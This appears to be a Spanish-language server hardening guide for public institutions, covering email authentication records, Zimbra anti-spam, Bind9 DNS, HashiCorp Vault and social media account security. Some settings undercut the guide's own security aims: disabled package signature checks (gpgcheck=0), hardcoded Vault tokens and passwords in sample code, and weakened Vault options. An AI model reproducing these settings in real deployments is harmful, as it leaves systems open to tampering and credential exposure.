 Un atacante puede falsificar el remitente de los correos modificando los header: 

 

 2.1. Configurar el registro PTR 

 En una zona de mapeo inverso, un registro PTR mapea una dirección IP a un nombre de host. 

 Editar el archivo de configuración de zona directa (Por ejemplo: db.empresa.com) y agregar: 

 correo IN A 200.129.81.150

empresa.com. IN MX 10 correo.empresa.com 

 “correo” es el nombre de subdominio para el sevidor de correo de “empresa.com” y “200.129.81.150” la IP del servidor de correo y 10 es el número de preferencia del servidor de correo. 

 Tenga en cuenta que pueden existir múltiples hosts de servidores de correo, ambos deberían estar incluidos por ejemplo: 

 correo1 IN A 200.129.81.150

correo2 IN A 200.129.81.151

empresa.com. IN MX 10 correo1.empresa.com.

empresa.com. IN MX 10 correo2.empresa.com. 

 Editar el archivo de configuración de zona inversa (Por ejemplo: db.81.129.200) y agregar: 

 150 IN PTR correo.empresa.com. 

 Para el caso de múltiples hosts de servidores de correo: 

 

 150 IN PTR correo1.empresa.com.

151 IN PTR correo2.empresa.com. 

 Verificamos la configuración de la siguiente manera: 

 $ dig empresa.com MX

;; ANSWER SECTION:

empresa.com. 3600 IN MX 10 correo.empresa.com.

$ host correo.empresa.com

correo.empresa.com has address 200.129.81.150

$ dig @1.1.1.1 -x 200.129.81.150

;; ANSWER SECTION:

150.81.129.200.in-addr.arpa. 18282 IN PTR correo.empresa.com. 

 NOTA. La resolución de la zona inversa PTR del host del servidor de correo debe corresponder a la especificada en el registro SPF 

 2.2. Registro SPF 

 Sender policy Framework (SPF), registro que ayuda a prevenir el envío de correos electrónicos no autorizados desde tú dominio (conocido como spoofing), en consecuencia, si tú dominio no tiene configurado este registro es posible que servidores que tienen implementado esta política rechacen o marquen el correo como spam. 

 El servidor que recibe el correo electrónico compara el dominio del mismo con la lista de los equipos autorizados para realizar el envío de mensajes desde ese dominio. Según el registro, el servidor decide si dejar que el correo se envíe y se entregue al destinatario o, por el contrario bloquearlo. 

 2.2.1. ¿Cómo funciona? 

 

 Comprobar si tenemos configurado SPF en nuestro dominio: 

 https://mxtoolbox.com/SuperTool.aspx 

 

 2.2.2. ¿Cómo configurar el registro TXT? 

 Usar la siguiente herramienta: 

 https://mxtoolbox.com/SPFRecordGenerator.aspx?domain=entidad.gob.bo&prefill=true 

 Deberá llenar desde que dominios e IPs envía correos electrónicos: 

 

 El registro generado con la herramienta deberá ser configurado en el servidor de DNS: 

 

 Una vez configurado el servidor DNS tardara un tiempo en propagarse. 

 2.2.3. ¿Cómo funciona el registro TXT? 

 El servidor de correo destinatario verificará el correo entrante con los registros TXT del dominio origen, si se llega a comprobar correctamente dejará pasar el correo añadiendo la cabecera Received-SPF 

 2.3. Registro DKIM 

 

 2.3.1. ¿Qué es DKIM? 

 Es un mecanismo de autenticación de correo electrónico (estándar que proviene del inglés Domain Keys Identified Mail) que ayuda a prevenir el spoofing en los mensajes enviados desde nuestro dominio. 

 2.3.2. ¿Cómo funciona? 

 DKIM implementa una clave pública con la que firma la cabecera de cada correo saliente. Al llegar al servidor receptor, éste descifra el encabezado mediante DKIM y verifica que el contenido del correo se íntegro (sin modificaciones). 

 2.3.3. ¿Cómo configurar DKIM? 

 Primero se debe generar un par de claves y con esto también se generará el registro TXT para el servidor DNS, que tendrá un aspecto parecido a: 

 dkim._domainkey.empresa.com IN TXT "v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC65tv6LhAbbrqcwgyBaC x50scjedj357we9SJdff6VHOKDYgU/kvuV2rQiedHjtJDPuFJIwoNqh8pbIWxcZ8J2FhVhXU1QWdBmOQ/w61jfsyVAMrX/SrcJAd/1 XHYcS4o3uIOV7jICVOJLiYW5wjYLvWpPoraQzQE1Npjlsx2T5QIDAQAB" ; ----- DKIM key default for midominio.gob.bo 

 Ahora se debe editar el archivo de configuración del DNS y agregar el registro TXT que se genere de acuerdo a nuestro dominio. 

 *La configuración varía de acuerdo a cada servidor de correo* 

 El DNS queda parecido a: 

 

 Listo, ahora todos los correos enviados serán seguros y tendrán un aspecto parecido a este: 

 

 

 2.4. Registro DMARC 

 DMARC indica cómo debe manejarse los correos que fallen las comprobaciones SPF y DKIM.  Existen 3 opciones de para tratar un correo que falle la comprobación SPF y DKIM: 

 

 Podemos usar la herramienta en linea https://mxtoolbox.com/SuperTool.aspx para comprobar el registro DMARC. 

 

 2.4.1. Adicionando registro DMARC en el servidor DNS 

 Adicionar un registro TXT en el servidor DNS con el siguiente contenido: 

 v=DMARC1; p=quarantine;

rua=mailto:dmarc@miempresa.com

ruf=mailto:dmarc@miempresa.com; sp=quarantine

Configuración en Zimbra para evitar SPAM
Antes de realizar cualquier cambio se recomienda realizar un backup de la configuración de zimbra para poder volver a la configuración inicial. 

 Soluciones gratuitas 

 Paso 1: Bloqueo con Postscreen 

 El Postfix de Zimbra ahora viene con Postscreen, una especie de firewall de correo electrónico entrante. 

 Ejecutar como usuario zimbra 

 zmprov mcf zimbraMtaPostscreenDnsblAction enforce

zmprov mcf zimbraMtaPostscreenGreetAction enforce

zmprov mcf zimbraMtaPostscreenNonSmtpCommandAction drop

zmprov mcf zimbraMtaPostscreenPipeliningAction enforce

zmprov mcf zimbraMtaPostscreenDnsblTTL 5m 

 Paso 2: Bloqueo con verificaciones de protocolo DNS 

 Ejecutar como usuario zimbra 

 zmprov mcf +zimbraMtaRestriction reject_non_fqdn_sender

zmprov mcf +zimbraMtaRestriction reject_unknown_sender_domain 

 Paso 3: Bloqueo de IPs de envío sospechoso 

 zmprov mcf +zimbraMtaRestriction "reject_rbl_client b.barracudacentral.org"

zmprov mcf +zimbraMtaRestriction "reject_rbl_client psbl.surriel.com"

zmprov mcf +zimbraMtaRestriction "reject_rbl_client cbl.abuseat.org" 

 Paso 4: Bloqueo de ciertos archivos adjuntos sospechosos 

 zmprov mcf +zimbraMtaBlockedExtension asd

zmprov mcf +zimbraMtaBlockedExtension bat

zmprov mcf +zimbraMtaBlockedExtension cab

zmprov mcf +zimbraMtaBlockedExtension chm

zmprov mcf +zimbraMtaBlockedExtension cmd

zmprov mcf +zimbraMtaBlockedExtension com

zmprov mcf +zimbraMtaBlockedExtension dll

zmprov mcf +zimbraMtaBlockedExtension do

zmprov mcf +zimbraMtaBlockedExtension exe

zmprov mcf +zimbraMtaBlockedExtension hlp

zmprov mcf +zimbraMtaBlockedExtension hta

zmprov mcf +zimbraMtaBlockedExtension js

zmprov mcf +zimbraMtaBlockedExtension jse

zmprov mcf +zimbraMtaBlockedExtension lnk

zmprov mcf +zimbraMtaBlockedExtension ocx

zmprov mcf +zimbraMtaBlockedExtension pif

zmprov mcf +zimbraMtaBlockedExtension reg

zmprov mcf +zimbraMtaBlockedExtension scr

zmprov mcf +zimbraMtaBlockedExtension shb

zmprov mcf +zimbraMtaBlockedExtension shm

zmprov mcf +zimbraMtaBlockedExtension shs

zmprov mcf +zimbraMtaBlockedExtension vbe

zmprov mcf +zimbraMtaBlockedExtension vbs

zmprov mcf +zimbraMtaBlockedExtension vbx

zmprov mcf +zimbraMtaBlockedExtension vxd

zmprov mcf +zimbraMtaBlockedExtension wsf

zmprov mcf +zimbraMtaBlockedExtension wsh

zmprov mcf +zimbraMtaBlockedExtension xl

zmprov mcf +zimbraMtaBlockedExtensionWarnAdmin TRUE

zmprov mcf +zimbraMtaBlockedExtensionWarnRecipient TRUE

zmprov mcf zimbraVirusBlockEncryptedArchive FALSE 

 Paso 5: Verificación de contenido de correo electrónico 

 zmprov mcf zimbraSpamKillPercent 75

zmprov mcf zimbraSpamTagPercent 20

zmprov mcf zimbraSpamSubjectTag "** CUIDADO CORREO SOSPECHOSO**" 

 Paso 6: Habilitar mayor información de logs 

 zmprov mcf zimbraAmavisLogLevel 2 

 Paso 7: Personalizar SpamAssassin 

 nano ~/data/spamassassin/localrules/zzsauser.cf 

 score DOS_OUTLOOK_TO_MX 0

score TO_EQ_FM_DIRECT_MX 0

score RCVD_IN_PBL 0.1

score RDNS_NONE 0.1

score FREEMAIL_FORGED_REPLYTO 4.0

score RCVD_IN_RP_RNBL 4.0

score FROM_FMBLA_NEWDOM 2.5

score FROM_NEWDOM_BTC 3.0

score __RCVD_IN_DNSWL 0.001

use_bayes 1

score BAYES_00 0

score BAYES_05 0

use_razor2 1

use_pyzor 1

pyzor_path /usr/bin/pyzor

pyzor_timeout 10

score RAZOR2_CHECK 2.0

score PYZOR_CHECK 2.0 

 Paso 8: Instalar herramientas anti-spam (Pyzor and Razor) 

 a) Instalar 

 nano /etc/yum.repos.d/epel.repo 

 [epel]

name=EPEL repository

baseurl=http://mirrors.kernel.org/fedora-epel/7/x86_64

enabled=1

gpgcheck=0 

 yum update

yum install pyzor perl-Razor-Agent

razor-admin -home=/opt/zimbra/data/amavisd/.razor -create

razor-admin -home=/opt/zimbra/data/amavisd/.razor -discover

razor-admin -home=/opt/zimbra/data/amavisd/.razor -register 

 b) Configurando Pyzor 

 pyzor --homedir /opt/zimbra/data/amavisd/.pyzor discover

nano /opt/zimbra/data/spamassassin/localrules/sauser.cf 

 # pyzor

use_pyzor 1

pyzor_path /usr/bin/pyzor

pyzor_options –homedir /opt/zimbra/data/amavisd/.pyzor

# DNS lookups for pyzor can time out easily. Set the following line IF you want to give pyzor up to 20 seconds to respond

# may slow down email delivery

pyzor_timeout 20

# razor

use_razor2 1

ok_languages en es

ok_locales en es

trusted_networks 127. 192.168.

use_bayes 1

skip_rbl_checks 0

# pyzor

use_pyzor 1

pyzor_path /usr/bin/pyzor

# DNS lookups for pyzor can time out easily. Set the following line IF you want to give pyzor up to 20 seconds to respond

# may slow down email delivery

pyzor_timeout 20

# razor

use_razor2 1

score URIBL_BLACK 4.250

score RAZOR2_CHECK 3.250

score PYZOR_CHECK 3.250

score RP_MATCHES_RCVD -0.000

score BAYES_00 -1.000

score BAYES_20 1.000

score BAYES_50 1.500

score BAYES_60 1.800

score BAYES_80 2.100

score BAYES_90 2.500

score BAYES_99 2.900

score BAYES_999 3.800 

 chown -Rf zimbra:zimbra /opt/zimbra/data/spamassassin/localrules/sauser.cf 

 c) Configurando Razor 

 mkdir /opt/zimbra/data/amavisd/.razor

chown -Rf zimbra:zimbra /opt/zimbra/data/amavisd/.razor

razor-admin -home=/opt/zimbra/data/amavisd/.razor -create

razor-admin -home=/opt/zimbra/data/amavisd/.razor -discover

razor-admin -home=/opt/zimbra/data/amavisd/.razor -register -user postmaster@dominio.gob.bo

su zimbra

cd /opt/zimbra/data/spamassassin/localrules

wget -N https://www.pccc.com/downloads/SpamAssassin/contrib/KAM.cf

zmamavisdctl restart 

 Soluciones de pago 

 Invaluement 

 Subscribirse con una cuenta institucional : https://www.invaluement.com/subscribe, despues de 2 dias llegara a su correo el código de la licencia de prueba (valida para 7 dias) 

 Adicionar esta lista de bloqueo como usuario zimbra: 

 zmprov mcf zimbraMtaPostscreenDnsblSites 'b.barracudacentral.org=127.0.0.2*7' zimbraMtaPostscreenDnsblSites 'sip-sip24.<licencia-enviada>.invaluement.com=127.0.0.2*6'

zmprov mcf +zimbraMtaRestriction "reject_rbl_client sip-sip24.<licencia-enviada>.invaluement.com" 

 Uribl 

 Subscribirse con una cuenta institucional y solicitar una cuenta de prueba: https://admin.uribl.com/?section=datafeed;method=request , (Elegir “Datafeed over DNS”) despues de un dia llegara a su correo el código de la licencia de prueba (valida para 30 dias). 

 Adicionar la IP del servidor de correos en https://admin.uribl.com/?section=datafeed_acl 

 Adicionar esta lista de bloqueo como usuario zimbra: 

 zmprov mcf +zimbraMtaRestriction "reject_rhsbl_client <licencia-enviada>.df.uribl.com"

zmprov mcf +zimbraMtaRestriction "reject_rhsbl_reverse_client <licencia-enviada>.df.uribl.com"

zmprov mcf +zimbraMtaRestriction "reject_rhsbl_sender <licencia-enviada>.df.uribl.com" 

 Posibles errores 

 Un posible error encontrado es que MTA se encuentra en estado STOP en Zimbra, esto se puede deber a que el sistema operativo inicializó de forma previa postfix, para corregir esto se puede seguir los siguientes pasos: 

 $ systemctl stop postfix

$ su zimbra

$ postfix start

$ zmcontrol start

Servidores de Nombres de Dominio (DNS)
Capítulo destinado a la instalación y configuración segura de servidores de nombres de dominio

Configuración Bind9
Pasos a seguir para la instalación y configuración del servidor DNS BInd9 en entorno Debian 0 que hará de interno y externo usando visitas. 

 NOTA: Dentro de la configuración no se toma en cuenta el SPF, DKIM o DMARK. 

 Instalación: 

 sudo apt install bind9 

 Habilitar bind en modo ipv4: 

 sudo nano /etc/default/bind9

OPTIONS="-u bind -4" 

 Reiniciar el servidor: 

 sudo systemctl restart bind9 

 Generar respaldos de los siguientes archivos del directorio /etc/bind/ 

 

 named.conf 

 named.conf.locla 

 named.conf.options 

 

 Crear directorios para zonas directas e inversas tanto para resolución interna y externa: 

 cd /etc/bind/

sudo mkdir zones

cd zones

sudo mkdir internal

sudo mkdir external 

 Editar el archivo named.conf.local para establecer la vista interna y externa, así como sus zonas directas e inversas. Se toma como ejemplo el dominio obscd.gob.bo 

 acl "red-interna" {

	192.168.100.0/24; 

};

view "interno" {

	match-clients { red-interna; };

	recursion yes;

	allow-recursion { red-interna; };

	# zona directa

	zone "obscd.gob.bo" {

		type master;

		file "/etc/bind/zones/internal/db.obscd.gob.bo";

		allow-transfer { none; };

		forwarders {

			1.1.1.1;

			8.8.8.8;

		};

	};

	# zona inversa

	zone "100.168.192.in-addr.arpa" {	

		type master;

		file "/etc/bind/zones/internal/db.100.168.192";

		allow-transfer { none; };

	};

	include "/etc/bind/zones.rfc1918";

	include "/etc/bind/named.conf.default-zones";

};

view "externo" {

	match-clients { any; };

	recursion no;

	# zona directa

	zone "obscd.gob.bo" {

		type master;

		file "/etc/bind/zones/external/db.obscd.gob.bo";

		allow-transfer { none; };

	};

	# zona inversa

	zone "146.243.121.186.in-addr.arpa" {	

		type master;

		file "/etc/bind/zones/external/db.146.243.121.186";	

		allow-transfer { none; };

	};

	include "/etc/bind/zones.rfc1918";

	include "/etc/bind/named.conf.default-zones";

}; 

 Editar el archivo named.conf y comentar la última línea 

 include "/etc/bind/named.conf.default-zones"; 

 Crear el archivo de zona directa para la vista interna  /et/bind/zones/internal/db.obscd.gob.bo 

 ;

; BIND data file for local loopback interface

;

$TTL	604800

@	IN	SOA	ns.obscd.gob.bo. admin.obscd.gob.bo. (

			 4		; Serial

			 604800		; Refresh

			 86400		; Retry

			2419200		; Expire

			 604800 )	; Negative Cache TTL

; name server - NS records

@	IN	NS	ns.obscd.gob.bo.

@	IN	A	192.168.100.31

; name server - A records

ns	IN	A	192.168.100.31

; A records

www	IN	A	192.168.100.31

smtp	IN	A	192.168.100.31

; MX records

@	IN	MX	10	smtp.obscd.gob.bo. 

 Crear el archivo de zona inversa para la vista interna  /et/bind/zones/internal/db.100.168.192 

 ;

; BIND reverse data file for local loopback interface

;

$TTL	604800

@	IN	SOA	ns.obscd.gob.bo. admin.obscd.gob.bo. (

			 4		; Serial

			 604800		; Refresh

			 86400		; Retry

			2419200		; Expire

			 604800 )	; Negative Cache TTL

;

@	IN	NS	ns.obscd.gob.bo.

31	IN	PTR	ns.obscd.gob.bo.

32	IN	PTR	mail.obscd.gob.bo.

33	IN	PTR	www.obscd.gob.bo.

34	IN	PTR	smtp.obscd.gob.bo. 

 Crear el archivo de zona directa para la vista externa  /et/bind/zones/external/db.obscd.gob.bo 

 ;

; BIND data file for local loopback interface

;

$TTL	604800

@	IN	SOA	ns.obscd.gob.bo. admin.obscd.gob.bo. (

			 4		; Serial

			 604800		; Refresh

			 86400		; Retry

			2419200		; Expire

			 604800 )	; Negative Cache TTL

; name server - NS records

@	IN	NS	ns.obscd.gob.bo.

@	IN	A	186.121.243.146

; name server - A records

ns	IN	A	186.121.243.146

; A records

www	IN	A	186.121.243.146

smtp	IN	A	186.121.243.146

; MX records

@	IN	MX	10	smtp.obscd.gob.bo. 

 Crear el archivo de zona inversa para la vista externa   /et/bind/zones/external/db.146.243.121.186 

 ;

; BIND reverse data file for local loopback interface

;

$TTL	604800

@	IN	SOA	ns.obscd.gob.bo. admin.obscd.gob.bo. (

			 3		; Serial

			 604800		; Refresh

			 86400		; Retry

			2419200		; Expire

			 604800 )	; Negative Cache TTL

;

@	IN	NS	ns.obscd.gob.bo.

146	IN	PTR	ns.obscd.gob.bo.

147	IN	PTR	smtp.obscd.gob.bo.

148	IN	PTR	www.obscd.gob.bo 

 Probar la configuración de zonas, el resultado esperado es OK 

 sudo named-checkconf

sudo named-checkzone obscd.gob.bo /etc/bind/zones/internal/db.obscd.gob.bo

sudo named-checkzone obscd.gob.bo /etc/bind/zones/external/db.obscd.gob.bo

sudo named-checkzone 100.168.192.-in-addr-arpa /etc/bind/zones/internal/db.100.168.192

sudo named-checkzone 100.168.192.-in-addr-arpa /etc/bind/zones/external/db.146.243.121.186 

 Aplicar la configuración 

 sudo systemctl reload bind9.service 

 Si hubiera errores al probar o aplicar la configuración se recomienda analizar los mensajes de error para posteriormente solucionar.

Servidores Web
Capítulo destinado a la instalación y configuración segura de servidores web como ser apache2, nginx, lighttpd y otros



Software de propósito general
Capítulo destinado a la instalación y/o configuración segura de software de propósito general orientado a la seguridad.

Vault hashicorp
Vault es una herramienta que sirve para almacenar y controlar el acceso a tokens, contraseñas, certificados, claves de cifrado y otros datos confidenciales. 

 Características 

 

 Vault es accesible por otros servicios y aplicaciones mediante APIs. 

 Vault tiene mecanismos integrados que lo hacen resistente a fallas. 

 Debido a la tecnología de replicación, Vault es muy escalable y puede proporcionar altas tasas de rendimiento para satisfacer la mayoría de las necesidades. 

 Vault es capaz de cifrar/descifrar datos sin almacenarlos. La principal implicación de esto es que si ocurre una intrusión, el atacante no tendrá acceso a las claves reales. 

 Vault puede almacenar claves por un período definido. Cuando este período expira, las claves se revocan automáticamente. Además, Vault admite una revocación manual flexible. 

 Vault mantiene un historial de interacción con el y sus secretos. 

 Vault admite la autenticación mediante tokens, lo cual es conveniente y seguro. 

 Es posible conectar varios complementos a Vault para ampliar su funcionalidad. 

 Vault tiene una interfaz gráfica de usuario basada (web), que se puede usar para interactuar con el sistema. 

 

 Instalación 

 

 Deshabilitar el historial de la consola (bash): 

 

 history -c

echo "set +o history" >> ~/.bashrc 

 

 Descargar  https://www.vaultproject.io/downloads/ 

 Descomprimir y copiar al directorio de ejecutables 

 

 unzip vault-XYZ.zip

chown root:root vault

mv vault /usr/local/bin/

rm -f vault-XYZ.zip 

 

 Instalar autocompletado 

 

 vault -autocomplete-install 

 

 Crear directorios de datos de Vault 

 

 sudo mkdir /etc/vault

sudo mkdir -p /var/lib/vault/data 

 

 Crear usuario llamado Vault 

 

 sudo useradd --system --home /etc/vault --shell /bin/false vault

sudo chown -R vault:vault /etc/vault /var/lib/vault/ 

 

 Crear el archivo de servicio para Vault 

 

 cat <<EOF | sudo tee /etc/systemd/system/vault.service

[Unit]

Description="HashiCorp Vault - A tool for managing secrets"

Documentation=https://www.vaultproject.io/docs/

Requires=network-online.target

After=network-online.target

ConditionFileNotEmpty=/etc/vault/config.hcl

[Service]

User=vault

Group=vault

ProtectSystem=full

ProtectHome=read-only

PrivateTmp=yes

PrivateDevices=yes

SecureBits=keep-caps

AmbientCapabilities=CAP_IPC_LOCK

NoNewPrivileges=yes

ExecStart=/usr/local/bin/vault server -config=/etc/vault/config.hcl

ExecReload=/bin/kill --signal HUP 

KillMode=process

KillSignal=SIGINT

Restart=on-failure

RestartSec=5

TimeoutStopSec=30

StartLimitBurst=3

LimitNOFILE=65536

[Install]

WantedBy=multi-user.target

EOF 

 

 Generar el certificado SSL y la llave privada (puede usar letsencrypt)

 

 Certificado:  /etc/letsencrypt/live/entidad.gob.bo/cert.pem 

 Llave privada:  /etc/letsencrypt/live/entidad.gob.bo//privkey.pem 

 

 

 Cree el archivo configh.hcl de Vault 

 

 cat <<EOF | sudo tee /etc/vault/config.hcl

disable_cache = true

disable_mlock = true

ui = false

plugin_directory="/etc/vault/plugins"

listener "tcp" {

 address = "0.0.0.0:8200"

 tls_cert_file = "/etc/letsencrypt/live/entidad.gob.bo/cert.pem"

 tls_key_file = "/etc/letsencrypt/live/entidad.gob.bo//privkey.pem"

}

storage "file" {

 path = "/var/lib/vault/data"

 }

api_addr = "https://0.0.0.0:8200"

max_lease_ttl = "10h"

default_lease_ttl = "10h"

cluster_name = "vault"

raw_storage_endpoint = true

disable_sealwrap = true

disable_printable_check = true

EOF 

 

 Inicie y habilite el servicio de Vault para iniciar con el arranque del sistema 

 

 sudo systemctl daemon-reload

sudo systemctl enable --now vault

systemctl status vault 

 Iniciando el servidor 

 Vault es una herramienta cliente-servidor que consta de un componente de cliente que utilizan los desarrolladores para las aplicaciones y un componente de servidor que se encarga de proteger los datos en servidores remotos. 

 

 Exporte la variable de entrono VAULT_ADDR antes de inicalizar el servidor Vault 

 

 export VAULT_ADDR=https://127.0.0.1:8200

echo "export VAULT_ADDR=https://127.0.0.1:8200" >> ~/.bashrc 

 

 Inicializar vault con 4 llaves compartidas de las cuales 3 serán requeridas para “abrir” el contenedor de llaves. Este comando también generara el token del root que se usa para la configuración inicial. 

 

 sudo rm -rf /var/lib/vault/data/*

vault operator init -key-shares=4 -key-threshold=3 

 El comando generara las 4 llaves compartidas que deberán ser entregadas a diferentes personas para poder “abrir” vault y tener acceso a los datos privados que se almacenen en ella. Las personas a cargo de la custodia de estas llaves compartidas deberán almacenarlas de manera segura usando PGP (Pretty Good Privacy), pueden usar un servicio como https://keybase.io 

 

 Para abrir Vault ejecute este comando 3 veces y copie una a una 3 de las 4 las llaves compartidas 

 

 vault operator unseal 

 

 Autenticarnos con el token del root generado con el comando anterior 

 

 vault login <<token root>> 

 

 Habilitar pistas de auditoria 

 

 vault audit enable syslog tag="vault" facility="AUTH" 

 

 Instalar syslog 

 

 apt-get install syslog-ng 

 

 Agregar al archivo   /etc/syslog-ng/syslog-ng.conf 

 

 source s_net { udp(ip(0.0.0.0) port(514)); };

filter f_vault { host( "0.0.0.0" ); };

destination df_vault { file("/var/log/vault.log"); };

log { source ( s_net ); filter( f_vault ); destination ( df_vault ); }; 

 Almacenamiento de datos privados 

 

 Habilitar el motor de secretos llave-valor (KV) 

 

 vault secrets enable -version=1 kv 

 

 Listar los motores de secretos 

 

 vault secrets list 

 

 Almacenar una API 

 

 vault kv put kv/apikey/Google llave=AAaaBBccDDeeOTXzSMT1234BB_Z8JzG7JkSVxI 

 

 Leer la llave almacenada 

 

 vault kv get kv/apikey/Google 

 Código de ejemplo de una aplicación en python que se comunica con Vault usando un token para obtener el API key: 

 response = requests.get(

 'https://127.0.0.1:8200/v1/kv/apikey/Google',

 params={'q': 'requests+language:python'},

 headers={'X-Vault-Token': 's.VjOyZANgP89UEQSVcXNKdZOi'},

 )

 json_response = response.json()

 APIKey = json_response['data']['llave'] 

 

 Almacenar el certificado cert.pem 

 

 vault kv put kv/cert/mysql certificado=@cert.pem 

 

 Leer el certificado almacenado 

 

 vault kv get -field=certificado kv/cert/mysql 

 Instalar módulo de generación de contraseñas robustas 

 

 Descargar y descomprimir el último plu-in binario 

 

 mkdir /etc/vault/plugins/

cd /etc/vault/plugins/

wget https://github.com/sethvargo/vault-secrets-gen/releases/download/v0.0.6/vault-secrets-gen_0.0.6_linux_amd64.tgz

tar -zxvf vault-secrets-gen_0.0.6_linux_amd64.tgz 

 

 Habilite mlock para que el complemento se pueda habilitar y deshabilitar de forma segura 

 

 setcap cap_ipc_lock=+ep /etc/vault/plugins/vault-secrets-gen 

 

 Calcule el SHA256 del complemento y regístrelo en el catálogo de complementos de Vault 

 

 export SHA256=$(shasum -a 256 "/etc/vault/plugins/vault-secrets-gen" | cut -d' ' -f1)

vault plugin register \

 -sha256="${SHA256}" \

 -command="vault-secrets-gen" \

 secret secrets-gen 

 

 Monta el motor de secretos 

 

 vault secrets enable \

 -path="gen" \

 -plugin-name="secrets-gen" \

 plugin 

 

 Generar un password 

 

 vault write gen/password length=36 

 Secretos dinámicos 

 Para incrementar la seguridad de una aplicación se puede usar la funcion de “secretos dinámicos” de Vault que permite crear dinámicamente usuarios y contraseñas temporales de la base de datos para que sean usados por una aplicación y así no exponer el usuario y contraseña. 

 Este ejemplo asume que mongdb tiene habilitado la autenticación para las credenciales: usuario="sam" password="test123 

 

 Habilitar el módulo de base de datos 

 

 vault secrets enable database 

 

 Configure Vault para que se conecte a mongoDB 

 

 vault write database/config/my-mongodb-database \

 plugin_name=mongodb-database-plugin \

 allowed_roles="my-role" \

 connection_url="mongodb://{{username}}:{{password}}@127.0.0.1:27017/admin" \

 username="sam" \

 password="test123" 

 

 Configure Vault para que cree una credencial en la base de datos y expire cada hora (default_ttl) 

 

 vault write database/roles/my-role \

 db_name=my-mongodb-database \

 creation_statements='{ "db": "admin", "roles": [{ "role": "readWrite" }] }' \

 default_ttl="1h" \

 max_ttl="24h" 

 

 Probar manualmente la generación de credenciales 

 

 vault read database/creds/my-role 

 Código de ejemplo de una aplicación en python que se comunica con Vault usando un token para obtener un usuario y contraseña de la base de datos: 

 response = requests.get(

 'http://127.0.0.1:8200/v1/database/creds/my-role',

 params={'q': 'requests+language:python'},

 headers={'X-Vault-Token': 's.VjOyZANgP89UEQSVcXNKdZOi'},

 )

 json_response = response.json()

 Database.USER = json_response['data']['username']

 Database.PASSWORD = json_response['data']['password'] 

 En el siguiente punto se muestra como generar tokens que puede tener restricciones como: 

 

 Tiempo de vida 

 Permiso granular de acceso a Vault 

 Uso máximo 

 

 Habilitar AppRole para la autenticación de aplicaciones con vault 

 El método AppRole permite que aplicaciones se autentiquen con roles definidos por Vault. 

 Habilitar la autenticación para aplicaciones 

 vault auth enable approle 

 Crear el archivo "database.hcl” que describe la política para la aplicación 

 cat <<EOF | sudo tee /etc/vault/database.hcl

path "database/creds/my-role" {

 capabilities = ["read", "list"]

}

EOF 

 Cargar la política a vault 

 vault policy write database /etc/vault/database.hcl 

 

 Crear un rol con la política “database” y con las siguientes restricciones 

 

 

 Tiempo de vida del token 10 minutos 

 Tiempo de vida del secret-id 1 minuto 

 Uso máximo de tokens: 3 veces 

 

 vault write auth/approle/role/databaseApp secret_id_ttl=1m secret_id_num_uses=1 token_num_uses=3 token_ttl=10m token_max_ttl=30m policies=database 

 

 Revisar los parámetros configurados 

 

 vault read auth/approle/role/databaseApp 

 

 Obtener el role-id 

 

 vault read auth/approle/role/databaseApp/role-id 

 

 Generar el secret-id 

 

 vault write -f auth/approle/role/databaseApp/secret-id 

 

 Con el role-id y secret-id obtenido con los comandos anteriores podemos obtener un token a la que se le aplico la política creada anteriormente 

 

 vault write auth/approle/login role_id="XXXXX" secret_id="YYYYYYY" 

 

 Revocar el token del root 

 

 vault token revoke s.V6T0DxxIg5FbBSre61y1WLgmalid 

 Hardening 

 

 Vault siempre debe usarse con TLS en producción 

 Vault debería ser el único proceso principal que se ejecuta en una máquina. Preferentemente debe ejecutarse en un servidor físico, sino es posible tener un servidor dedicado usar una máquina virtual. No es recomendable usar contenedores. 

 Use un firewall local para restringir todo el tráfico entrante y saliente a Vault y servicios esenciales del sistema como NTP 

 Los usuarios nunca deben acceder a la máquina directamente. En cambio, deberían acceder a Vault a través de su API a través de la red. 

 Para el funcionamiento normal existen datos confidenciales en memoria. El riesgo de exposición debe minimizarse deshabilitando la memoria SWAP 

 Vault está diseñado para ejecutarse como un usuario sin privilegios, y no hay razón para ejecutar Vault con privilegios de administrador o root 

 Desactivar volcados de memoria (Core Dump) 

 Evita los tokens de root. Este token debe usarse solo para configurar el sistema inicialmente 

 El uso de mecanismos adicionales como SELinux y AppArmor puede ayudar a proporcionar capas adicionales de seguridad 

 El acceso al backend de almacenamiento debe restringirse solo a Vault para evitar accesos no autorizados. 

 Deshabilitar el historial de comandos de Shell

Redes sociales
Capítulo destinado a la configuración de seguridad y ajustes de privacidad en redes sociales.

Ajustes de seguridad y privacidad en redes sociales
Twitter 

 

 Habilitar la protección de restablecimiento de contraseña https://twitter.com/settings/security 

 Habilitar la autenticación en dos fases: https://twitter.com/settings/security 

 Revisar los últimos inicios de sesión regularmente https://twitter.com/settings/applications 

 

 Facebook 

 

 Habilitar alertas sobre inicios de sesión no reconocidos: https://www.facebook.com/settings?tab=security 

 Habilitar la autenticación en dos pasos: https://www.facebook.com/security/2fac/settings/ 

 Elegir contactos de confianza para recuperar acceso a la cuenta:

 

 https://www.facebook.com/settings/?tab=security§ion=trusted_friends&view 

 

 

 

 

 Revisar los Inicios de sesión autorizados regularmente: https://www.facebook.com/settings/?tab=security&view 

 

 Instagram 

 

 Habilitar la autenticación en dos pasos. En la aplicación móvil: Configuración > seguridad > autenticación en dos pasos > habilitar APP 

 Revisar la lista de aplicaciones y sitios web conectados. Eliminar los que no son necesarios. En la aplicación móvil: Configuración > Seguridad, > Aplicaciones y sitios web. 

 Revisar la actividad de inicio de sesión regularmente. En la aplicación: Configuración > seguridad > seguridad de inicio de sesión. 

 

 Servicios de Google (YouTube, Gmail, etc) 

 

 Revisar el estado de la seguridad regularmente https://myaccount.google.com/security-checkup 

 Habilitar la autenticación en dos pasos: https://myaccount.google.com/signinoptions/two-step-verification 

 Revisar la lista de aplicaciones y sitios web conectados: https://myaccount.google.com/permissions 

 Configurar un correo de recuperación de cuentas: https://myaccount.google.com/recovery/email?edit 

 Configurar un teléfono de recuperación de cuentas: https://myaccount.google.com/signinoptions/rescuephone?edit 

 

 En general 

 

 Usar un contenedor de contraseñas como https://keepass.info/ para generar y almacenar las contraseñas. 

 No reutilizar la contraseña en otros sitios web. 

 Asegurar que el software en el equipo, incluido el navegador, esté al día con las últimas actualizaciones.

Gestión segura de cuentas y páginas de redes sociales
1. Introducción 

